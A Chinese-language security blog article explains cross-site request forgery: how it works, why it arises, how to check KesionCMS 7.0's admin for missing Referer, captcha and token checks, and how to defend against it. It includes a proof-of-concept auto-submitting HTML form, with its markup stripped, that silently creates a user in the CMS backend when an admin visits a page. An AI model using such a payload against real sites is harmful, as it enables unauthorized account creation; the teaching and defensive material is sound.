探索黑客技术攻防,实战研究与安全创新

导航菜单

浅析CSRF漏洞及防御之道

CSRF(Cross-siterequestforgery跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF),是一种对网站的恶意利用,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

漏洞利用原理

A10.png

图1

如图1所示,正常访问登录受信任网站A,并在本地生成Cookie。在不登出A的情况下,访问危险网站B,从而形成CSRF。

漏洞产生原因

产生CSRF漏洞主要原因有,一方面开发者不够审慎,编写的web应用程序存在漏洞导致被利用,另一方面是因为web浏览器对于cookie和http身份认证等会话信息的处理存在一定缺陷。主要表现在执行某个功能操作(如修改密码、添加关注)前未对原始跳转连接进行同源策略检查、关键请求未进行验证码验证、请求地址未加随机token进行验证。

CSRF漏洞检查

1)检查是否有refer验证

实例演示(kesionCMS7.0后台添加注册用户过程)

正常提交过程如图2所示。

A11.png

图2

去掉refer字段检验能否正常提交,如图3所示。

A13.png

A14.png

图3

删除refer字段后,仍可正常提交,如图4所示。

图4

在此检查过程中,无refer验证,同时无验证码,基本判定存在csrf漏洞。

2)查看是否有验证码验证

检查进行操作后是否有随机验证码产生,如何存在随机验证码,csrf漏洞将难以利用。

3)检查是否有随机tonken

检查请求过程中是否会产生随机token令牌,如果存在,无疑增加了csrf漏洞的利用难度。如图5所示,

A14.png

图5

4)CSRF漏洞危害利用演示

演示环境,kesionCMS7增加注册用户触发csrf漏洞。

利用poc:


formaction=http://172.16.183.136:81/admin/KS.User.aspmethod=post
inputtype=hiddenname=GroupIDvalue=2
inputtype=hiddenname=lockedvalue=0
inputtype=hiddenname=UserNamevalue=test
inputtype=hiddenname=Emailvalue=test@qq.com
inputtype=hiddenname=Passwordvalue=test123
inputtype=hiddenname=PwdConfirmvalue=test123
inputtype=hiddenname=Questionvalue=我的宠物名字?
inputtype=hiddenname=Answervalue=1
inputtype=hiddenname=ChargeTypevalue=1
inputtype=hiddenname=RealNamevalue=test
inputtype=hiddenname=HomeTelvalue=0108-809111
inputtype=hiddenname=Provincevalue=北京市
inputtype=hiddenname=Cityvalue=北京市
inputtype=hiddenname=HomePagevalue=
inputtype=hiddenname=Actionvalue=SaveAdd
scriptlanguage=javascript
document.forms[0].submit()
/script
/form


将以上代码保存为csrf.html放入B站,当A站管理员不慎访问了B站,csrf.html将会自动在A站后台新建用户名为test的账户。如图6和图7所示。

A16.png

A17.png


CSRF漏洞防御

1)检查HTTP头部Refer信息,这是防止CSRF的最简单容易实现的一种手段。根据RFC对于HTTP协议里面Refer的定义,Refer信息跟随出现在每个Http请求头部。Server端在收到请求之后,可以去检查这个头信息,只接受来自本域的请求而忽略外部域的请求,这样就可以避免了很多风险。

2)使用一次性令牌,这是当前Web应用程序的设计人员广泛使用的一种方式,方法是对于Get请求,在URL里面加入一个令牌,对于Post请求,在隐藏域中加入一个令牌。这个令牌由server端生成,由编程人员控制在客户端发送请求的时候使请求携带本令牌然后在Server端进行验证。

3)使用验证码,在提交操作前需要输入验证码,防止恶意请求。

4)部署web应用防火墙、下一代防火墙等平台性Web防护设备。

本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。

相关推荐